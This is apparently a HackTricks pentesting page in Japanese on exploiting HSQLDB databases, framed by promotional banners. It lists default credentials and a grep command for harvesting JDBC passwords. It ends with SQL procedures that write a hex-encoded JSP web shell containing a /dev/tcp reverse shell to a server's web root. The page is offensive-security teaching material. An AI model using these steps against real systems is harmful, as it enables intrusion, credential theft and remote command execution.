6.4 KiB
AWSハッキングをゼロからヒーローまで学ぶ htARTE (HackTricks AWS Red Team Expert)!
HackTricksをサポートする他の方法:
- HackTricksにあなたの会社を広告したい場合、またはHackTricksをPDFでダウンロードしたい場合は、サブスクリプションプランをチェックしてください!
- 公式PEASS & HackTricksグッズを入手する
- The PEASS Familyを発見し、独占的なNFTsのコレクションをチェックする
- 💬 Discordグループに参加するか、telegramグループに参加するか、Twitter 🐦 @carlospolopmをフォローする。
- HackTricksとHackTricks CloudのgithubリポジトリにPRを提出して、あなたのハッキングのコツを共有する。
基本情報
HSQLDB(HyperSQL DataBase)はJavaで書かれたリーディングSQLリレーショナルデータベースシステムです。小さく、高速なマルチスレッドおよびトランザクショナルデータベースエンジンを提供し、メモリ内およびディスクベースのテーブルをサポートし、埋め込みモードとサーバーモードをサポートしています。
デフォルトポート: 9001
9001/tcp open jdbc HSQLDB JDBC (Network Compatibility Version 2.3.4.0)
情報
デフォルト設定
このサービスはデフォルトでメモリ内で実行されているか、localhostにバインドされている可能性が高いことに注意してください。これを見つけた場合、他のサービスを悪用しており、権限昇格を図っている可能性があります。
デフォルトの資格情報は通常、パスワードが空白のsa
です。
他のサービスを悪用した場合、可能な資格情報を検索するには
grep -rP 'jdbc:hsqldb.*password.*' /path/to/search
データベース名を注意深く覚えておいてください。接続するために必要になります。
情報収集
HSQLDBをダウンロードしてhsqldb/lib/hsqldb.jar
を展開し、java -jar hsqldb.jar
を実行してGUIアプリ(eww)を使用し、発見された/弱い認証情報を使用してDBインスタンスに接続します。
リモートシステムの場合、接続URLは次のようになります:jdbc:hsqldb:hsql://ip/DBNAME
。
コツ
Java言語ルーチン
HSQLDBからJavaクラスの静的メソッドをJava言語ルーチンを使用して呼び出すことができます。呼び出されるクラスはアプリケーションのクラスパス内にある必要があります。
JRTはfunctions
またはprocedures
になります。Javaメソッドが一つ以上のSQL互換のプリミティブ変数を返す場合、関数はSQLステートメントを介して呼び出すことができます。これはVALUES
ステートメントを使用して呼び出されます。
Javaメソッドがvoidを返す場合、CALL
ステートメントで呼び出されるプロシージャを使用する必要があります。
Javaシステムプロパティの読み取り
関数を作成する:
CREATE FUNCTION getsystemproperty(IN key VARCHAR) RETURNS VARCHAR LANGUAGE JAVA
DETERMINISTIC NO SQL
EXTERNAL NAME 'CLASSPATH:java.lang.System.getProperty'
実行機能:
VALUES(getsystemproperty('user.name'))
以下は、システムプロパティのリストをこちらで確認できます。
ファイルへの内容書き込み
com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename
Javaガジェットを使用して、JDKにある(アプリケーションのクラスパスに自動的にロードされる)カスタムプロシージャを介して、ディスクに16進数エンコードされたアイテムを書き込むことができます。最大サイズ1024バイトに注意してください。
プロシージャの作成:
CREATE PROCEDURE writetofile(IN paramString VARCHAR, IN paramArrayOfByte VARBINARY(1024))
LANGUAGE JAVA DETERMINISTIC NO SQL EXTERNAL NAME
'CLASSPATH:com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename'
手順を実行する:
call writetofile('/path/ROOT/shell.jsp', cast ('3c2540207061676520696d706f72743d226a6176612e696f2e2a2220253e0a3c250a202020537472696e6720636d64203d20222f62696e2f62617368202d69203e26202f6465762f7463702f3139322e3136382e3131392[...]' AS VARBINARY(1024)))
AWSハッキングをゼロからヒーローまで学ぶ htARTE (HackTricks AWS Red Team Expert)!
HackTricksをサポートする他の方法:
- HackTricksにあなたの会社を広告したい場合、またはHackTricksをPDFでダウンロードしたい場合は、サブスクリプションプランをチェックしてください!
- 公式PEASS & HackTricksグッズを入手する
- The PEASS Familyを発見する、私たちの独占的なNFTsのコレクション
- 💬 Discordグループやtelegramグループに参加するか、Twitter 🐦 @carlospolopmをフォローする。
- HackTricksのgithubリポジトリやHackTricks CloudにPRを提出して、あなたのハッキングのコツを共有する。